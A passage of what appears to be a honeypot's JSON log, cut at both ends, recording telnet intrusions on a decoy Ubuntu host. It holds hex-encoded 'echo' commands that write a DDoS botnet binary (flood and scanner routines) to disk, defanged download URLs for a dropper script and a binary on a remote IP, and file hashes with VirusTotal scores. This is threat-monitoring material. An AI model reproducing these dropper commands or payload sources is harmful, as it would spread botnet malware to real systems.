\"\\x72\\x69\\x6d\\x00\\x66\\x6f\\x72\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x5f\\x6e\\x6f\\x63\\x61\\x6e\\x63\\x65\\x6c\\x00\\x72\\x61\\x6e\\x64\\x5f\\x6e\\x65\\x78\\x74\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x72\\x66\\x69\\x6c\\x6c\\x00\\x73\\x74\\x72\\x6e\\x63\\x61\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x6c\\x65\\x65\\x70\\x00\\x73\\x69\\x67\\x61\\x63\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x64\\x6c\\x5f\\x70\\x68\\x64\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x5f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x69\\x74\\x00\\x72\\x65\\x61\\x6c\\x6c\\x6f\\x63\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x6e\\x63\\x70\\x79\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x73\\x65\\x6e\\x64\\x00\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x36\\x34\\x00\\x6b\\x69\\x6c\\x6c\\x65\\x72\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x65\\x63\\x76\\x66\\x72\\x6f\\x6d\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x72\\x6c\\x69\\x6d\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x73\\x74\\x72\\x74\\x6f\\x6b\\x00\\x6d\\x65\\x6d\\x63\\x6d\\x70\\x00\\x6c\\x69\\x73\\x74\\x65\\x6e\\x00\\x6d\\x61\\x6c\\x6c\\x6f\\x63\\x5f\\x74\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6f\\x6c\\x6c\\x00\\x73\\x74\\x72\\x6e\\x63\\x6d\\x70\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x30\\x00\\x72\\x63\\x34\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x75\\x73\\x65\\x72\\x5f\\x6c\\x6f\\x63\\x6b\\x69\\x6e\\x67\\x00\\x73\\x74\\x72\\x6e\\x63\\x70\\x79\\x00\\x75\\x6e\\x6c\\x69\\x6e\\x6b\\x00\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x5f\\x69\\x6e\\x76\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x5f\\x73\\x68\\x6f\\x72\\x74\\x5f\\x6e\\x61\\x6d\\x65\\x00\\x73\\x65\\x6e\\x64\\x74\\x6f\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x43\\x5f\\x63\\x74\\x79\\x70\\x65\\x5f\\x62\\x00\\x73\\x63\\x61\\x6e\\x6e\\x65\\x72\\x5f\\x69\\x6e\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x67\\x6e\\x61\\x6d\\x65\\x00\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6f\\x63\\x74\\x6c\\x00\\x72\\x61\\x6e\\x64\\x5f\\x73\\x74\\x72\\x00\\x61\\x74\\x61\\x62\\x6c\\x65\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x5f\\x76\\x61\\x6c\\x00\\x72\\x61\\x6e\\x64\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x37\\x00\\x61\\x72\\x63\\x34\\x00\\x73\\x69\\x67\\x6e\\x61\\x6c\\x00\\x72\\x65\\x61\\x64\\x00\\x5f\\x5f\\x78\\x73\\x74\\x61\\x74\\x36\\x34\\x5f\\x63\\x6f\\x6e\\x76\\x00\\x69\\x6e\\x74\\x5f\\x74\\x6f\\x5f\\x73\\x74\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x63\\x70\\x79\\x00\\x73\\x74\\x72\\x63\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x72\\x38\\x00\\x6d\\x74\\x70\\x61\\x65\\x73\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x6d\\x6f\\x76\\x65\\x00\\x73\\x65\\x74\\x73\\x74\\x61\\x74\\x65\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x52\\x45\\x41\\x44\\x00\\x5f\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x69\\x6e\\x69\\x74\\x69\\x61\\x6c\\x69\\x7a\\x65\\x5f\\x6d\\x69\\x6e\\x69\\x6d\\x61\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x65\\x63\\x76\\x00\\x5f\\x5f\\x62\\x73\\x73\\x5f\\x65\\x6e\\x64\\x5f\\x5f\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6e\\x00\\x73\\x74\\x64\\x69\\x6e\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x73\\x61\\x74\\x74\\x79\\x00\\x5f\\x5f\\x70\\x72\\x6f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x68\\x64\\x69\\x72\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x64\\x65\\x6c\\x5f\\x63\\x6f\\x75\\x6e\\x74\\x00\\x73\\x65\\x74\\x73\\x6f\\x63\\x6b\\x6f\\x70\\x74\\x00\\x62\\x73\\x64\\x5f\\x73\\x69\\x67\\x6e\\x61\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x74\\x69\\x6d\\x65\\x73\\x00\\x6d\\x72\\x65\\x6d\\x61\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6b\\x69\\x6c\\x6c\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x33\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x6d\\x70\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x66\\x70\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x72\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x61\\x74\\x00\\x62\\x69\\x6e\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6e\\x61\\x6e\\x6f\\x73\\x6c\\x65\\x65\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x74\\x6f\\x6b\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x69\\x67\\x70\\x72\\x6f\\x63\\x6d\\x61\\x73\\x6b\\x00\\x69\\x6e\\x65\\x74\\x5f\\x61\\x64\\x64\\x72\\x00\\x5f\\x5f\\x64\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x5f\\x66\\x72\\x61\\x6d\\x65\\x5f\\x69\\x6e\\x66\\x6f\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x69\\x64\\x69\\x76\\x00\\x63\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x61\\x6e\\x64\\x6f\\x6d\\x5f\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x73\\x69\\x67\\x69\\x73\\x6d\\x65\\x6d\\x62\\x65\\x72\\x00\\x77\\x72\\x69\\x74\\x65\\x00\\x65\\x6e\\x76\\x69\\x72\\x6f\\x6e\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6c\\x6f\\x73\\x65\\x00\\x66\\x73\\x74\\x61\\x74\\x00\\x6b\\x69\\x6c\\x6c\\x00\\x5f\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x6d\\x75\\x74\\x65\\x78\\x5f\\x74\\x72\\x79\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x73\\x69\\x67\\x61\\x64\\x64\\x73\\x65\\x74\\x00\\x6c\\x6f\\x63\\x61\\x6c\\x5f\\x61\\x64\\x64\\x72\\x00\\x73\\x74\\x72\\x63\\x61\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x62\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6e\\x6f\\x73\\x6c\\x65\\x65\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x6e\\x64\\x00\\x72\\x61\\x6e\\x64\\x5f\\x68\\x65\\x78\\x00\\x68\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x00\\x63\\x61\\x6c\\x6c\\x6f\\x63\\x00\\x5f\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x6d\\x75\\x74\\x65\\x78\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x65\\x78\\x69\\x74\\x00\\x61\\x64\\x62\\x67\\x00\\x5f\\x5f\\x61\\x70\\x70\\x5f\\x66\\x69\\x6e\\x69\\x00\\x5f\\x5f\\x65\\x78\\x69\\x74\\x5f\\x63\\x6c\\x65\\x61\\x6e\\x75\\x70\\x00\\x5f\\x6d\\x65\\x6d\\x63\\x70\\x79\\x00\\x72\\x69\\x6e\\x64\\x65\\x78\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x72\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x74\\x73\\x74\\x61\\x74\\x65\\x5f\\x72\\x00\\x73\\x74\\x72\\x74\\x6f\\x6c\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x6c\\x73\\x65\\x65\\x6b\\x36\\x34\\x00\\x72\\x61\\x77\\x6d\\x65\\x6d\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x70\\x63\\x70\\x79\\x00\\x66\\x72\\x65\\x65\\x5f\\x64\\x6e\\x73\\x5f\\x72\\x65\\x73\\x75\\x6c\\x74\\x00\\x5f\\x5f\\x6d\\x61\\x6c\\x6c\\x6f\\x63\\x5f\\x73\\x74\\x61\\x74\\x65\\x00\\x74\\x61\\x62\\x6c\\x65\\x00\\x5f\\x5f\\x73\\x69\\x67\\x61\\x64\\x64\\x73\\x65\\x74\\x00\\x73\\x74\\x72\\x72\\x63\\x68\\x72\\x00\\x61\\x74\\x61\\x62\\x6c\\x65\\x00\\x6e\\x61\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x67\\x65\\x74\\x61\\x74\\x74\\x72\\x00\\x5f\\x5f\\x65\\x6e\\x76\\x69\\x72\\x6f\\x6e\\x00\\x6d\\x6d\\x61\\x70\\x00\\x5f\\x45\\x78\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x61\\x00\\x73\\x65\\x6e\\x64\\x00\\x5f\\x5f\\x66\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x61\\x62\\x6f\\x72\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x67\\x69\\x64\\x00\\x73\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x5f\\x72\\x00\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x61\\x5f\\x72\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x70\\x70\\x5f\\x70\\x72\\x32\\x00\\x6d\\x65\\x6d\\x70\\x63\\x70\\x79\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x6f\\x6c\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x77\\x72\\x69\\x74\\x65\\x00\\x75\\x74\\x69\\x6c\\x5f\\x6d\\x65\\x6d\\x73\\x65\\x61\\x72\\x63\\x68\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x72\\x65\\x61\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6f\\x70\\x65\\x6e\\x64\\x69\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x68\\x72\\x00\\x5f\\x5f\\x65\\x78\\x69\\x64\\x78\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x6c\\x73\\x65\\x65\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x74\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x73\\x00\\x61\\x74\\x61\\x62\\x6c\\x65\\x5f\\x6c\\x6f\\x63\\x6b\\x5f\\x76\\x61\\x6c\\x00\\x73\\x6f\\x63\\x6b\\x65\\x74\\x00\\x73\\x65\\x6c\\x65\\x63\\x74\\x00\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x63\\x6c\\x65\\x61\\x6e\\x75\\x70\\x5f\\x70\\x6f\\x70\\x5f\\x72\\x65\\x73\\x74\\x6f\\x72\\x65\\x00\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x73\\x65\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6c\\x6f\\x73\\x65\\x64\\x69\\x72\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x75\\x6e\\x77\\x69\\x6e\\x64\\x5f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x35\\x00\\x6d\\x61\\x6c\\x6c\\x6f\\x63\\x00\\x5f\\x5f\\x75\\x64\\x69\\x76\\x73\\x69\\x33\\x00\\x69\\x73\\x61\\x74\\x74\\x79\\x00\\x74\\x61\\x62\\x6c\\x65\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x5f\\x76\\x61\\x6c\\x00\\x73\\x6c\\x65\\x65\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x65\\x61\\x64\\x00\\x72\\x65\\x63\\x76\\x66\\x72\\x6f\\x6d\\x00\\x5f\\x5f\\x62\\x73\\x73\\x5f\\x73\\x74\\x61\\x72\\x74\\x5f\\x5f\\x00\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x5f\\x72\\x00\\x5f\\x5f\\x64\\x73\\x6f\\x5f\\x68\\x61\\x6e\\x64\\x6c\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x00\\x63\\x6c\\x6f\\x63\\x6b\\x5f\\x67\\x65\\x74\\x72\\x65\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x73\\x65\\x6c\\x65\\x63\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x63\\x6d\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x6e\\x61\\x6e\\x6f\\x73\\x6c\\x65\\x65\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x67\\x65\\x74\\x73\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x73\\x77\\x61\\x70\\x00\\x5f\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x6d\\x75\\x74\\x65\\x78\\x5f\\x69\\x6e\\x69\\x74\\x00\\x67\\x65\\x74\\x75\\x69\\x64\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x67\\x65\\x74\\x70\\x61\\x67\\x65\\x73\\x69\\x7a\\x65\\x00\\x67\\x65\\x74\\x70\\x69\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6c\\x73\\x65\\x65\\x6b\\x36\\x34\\x00\\x73\\x65\\x74\\x73\\x74\\x61\\x74\\x65\\x5f\\x72\\x00\\x66\\x67\\x65\\x74\\x73\\x00\\x67\\x65\\x74\\x63\\x00\\x70\\x72\\x63\\x74\\x6c\\x00\\x6d\\x65\\x6d\\x63\\x70\\x79\\x00\\x73\\x65\\x65\\x6b\\x64\\x69\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x67\\x65\\x74\\x73\\x00\\x72\\x61\\x6e\\x64\\x5f\\x69\\x6e\\x69\\x74\\x00\\x72\\x65\\x61\\x64\\x6c\\x69\\x6e\\x6b\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x64\\x65\\x63\\x5f\\x75\\x73\\x65\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x65\\x73\\x00\\x5f\\x5f\\x63\\x74\\x79\\x70\\x65\\x5f\\x62\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x5f\\x72\\x00\\x5f\\x62\\x73\\x73\\x5f\\x65\\x6e\\x64\\x5f\\x5f\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x36\\x00\\x6c\\x6f\\x63\\x6b\\x65\\x72\\x5f\\x69\\x6e\\x69\\x74\\x00\\x65\\x72\\x72\\x6e\\x6f\\x00\\x67\\x65\\x74\\x65\\x67\\x69\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x62\\x72\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x69\\x6e\\x69\\x74\\x00\\x75\\x73\\x6c\\x65\\x65\\x70\\x00\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x5f\\x70\\x61\\x72\\x73\\x65\\x72\\x00\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x74\\x73\\x6f\\x63\\x6b\\x6f\\x70\\x74\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x73\\x74\\x61\\x63\\x6b\\x5f\\x65\\x6e\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x75\\x69\\x6e\\x74\\x6d\\x61\\x78\\x74\\x6f\\x73\\x74\\x72\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x75\\x6e\\x77\\x69\\x6e\\x64\\x5f\\x63\\x70\\x70\\x5f\\x70\\x72\\x30\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x00\\x61\\x74\\x6f\\x6c\\x00\\x5f\\x68\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x00\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x74\\x69\\x6d\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x32\\x00\\x5f\\x5f\\x67\\x65\\x74\\x64\\x65\\x6e\\x74\\x73\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x74\\x73\\x69\\x64\\x00\\x6d\\x65\\x6d\\x6d\\x6f\\x76\\x65\\x00\\x64\\x79\\x6e\\x5f\\x70\\x61\\x72\\x73\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x70\\x62\\x72\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x67\\x65\\x74\\x63\\x00\\x5f\\x5f\\x65\\x78\\x69\\x64\\x78\\x5f\\x65\\x6e\\x64\\x00\\x70\\x73\\x68\\x5f\\x61\\x63\\x6b\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x74\\x72\\x61\\x6e\\x73\\x32\\x72\\x5f\\x6f\\x00\\x6d\\x75\\x6e\\x6d\\x61\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x66\\x69\\x6e\\x69\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x6e\\x63\\x61\\x74\\x00\\x75\\x64\\x70\\x62\\x79\\x70\\x61\\x73\\x73\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x6d\\x75\\x74\\x65\\x78\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x73\\x69\\x67\\x64\\x65\\x6c\\x73\\x65\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6c\\x6f\\x63\\x6b\\x5f\\x67\\x65\\x74\\x72\\x65\\x73\\x00\\x5f\\x5f\\x78\\x73\\x74\\x61\\x74\\x33\\x32\\x5f\\x63\\x6f\\x6e\\x76\\x00\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x66\\x69\\x6e\\x69\\x00\\x67\\x65\\x74\\x65\\x75\\x69\\x64\" >> 1","exit_code":0}],"downloads":[{"url":"[http]://45[.]198[.]224[.]89/wget.sh","host":"45[.]198[.]224[.]89","sessions":3,"first_seen":"2026-10-24T15:37:51","last_seen":"2026-10-24T15:44:18","virustotal":{"sha256":"708f333620e94e21cb7b0a9c12b91bd18173ecfa0e67c56dcbf0554c80ea9ffe","status":"uploaded","malicious":1,"total":75,"name":"wget.sh"}},{"url":"[http]://45[.]198[.]224[.]89/gamebin/d3d11","host":"45[.]198[.]224[.]89","sessions":2,"first_seen":"2026-10-24T15:37:51","last_seen":"2026-10-24T15:41:08","virustotal":{"sha256":"a10712fc263510bc02cc4fefd96e0ad776aeb0e28e8f50fb0421d535321bbc1a","status":"known","malicious":31,"total":75,"name":".x1792675185"}}],"files":[{"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","name":"0","size":0,"mime_type":"application/x-empty","kind":"executed","times":36,"first_seen":"2026-10-24T15:37:39","last_seen":"2026-10-24T15:42:58","virustotal":{"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","status":"known","malicious":0,"total":75,"name":"android-cts-7.1_r6-linux_x86-arm.zip"}},{"sha256":"7ffcf65d9deb4a95c5c1905d19e66d56f13c8533a13ad7b1738883df1af13473","name":"wget2","size":28,"mime_type":"text/plain","kind":"downloaded","times":6,"first_seen":"2026-10-24T15:37:40","last_seen":"2026-10-24T15:42:58","virustotal":null},{"sha256":"4cd055836b17e7257019eaa141e7c4dafa3fe493fc27c4b2e3746b385b47a78f","name":"wget2","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":6,"first_seen":"2026-10-24T15:37:40","last_seen":"2026-10-24T15:42:58","virustotal":null},{"sha256":"708f333620e94e21cb7b0a9c12b91bd18173ecfa0e67c56dcbf0554c80ea9ffe","name":"1","size":1476,"mime_type":"text/x-shellscript","kind":"executed","times":4,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":{"sha256":"708f333620e94e21cb7b0a9c12b91bd18173ecfa0e67c56dcbf0554c80ea9ffe","status":"uploaded","malicious":1,"total":75,"name":"wget.sh"}},{"sha256":"ade786a1912b30d20290c2426bf889255d9e50bde8d7f72e31db97e8814e9312","name":"1","size":93060,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T15:44:13","last_seen":"2026-10-24T15:44:13","virustotal":null},{"sha256":"bb0a547115aafd586aab949ffd15bdfdff0f740b43dfa68eed9ef679318e507b","name":"1","size":75966,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T15:43:52","last_seen":"2026-10-24T15:43:52","virustotal":null},{"sha256":"219886558ffc16d1580f79f619be773508bfd8feb26023c1b50d9c6f6d0996f0","name":"1","size":75966,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T15:43:34","last_seen":"2026-10-24T15:43:34","virustotal":null},{"sha256":"032313b66f60099b71c4713bf43b27fcab23cfcf098b13b5bd554524a58de98f","name":"1","size":136344,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T15:43:16","last_seen":"2026-10-24T15:43:16","virustotal":null},{"sha256":"b300020218bc825c421bba424f0a1ffa0820456e9aadaab461dbf6c5b4caf449","name":".xSat Oct 24 15:40:58 UTC 2026","size":26309,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"27ba3b59936d1f673c25d2d375f096d2951cb14228d12c397c0776e47dd824d3","name":".xSat Oct 24 15:40:58 UTC 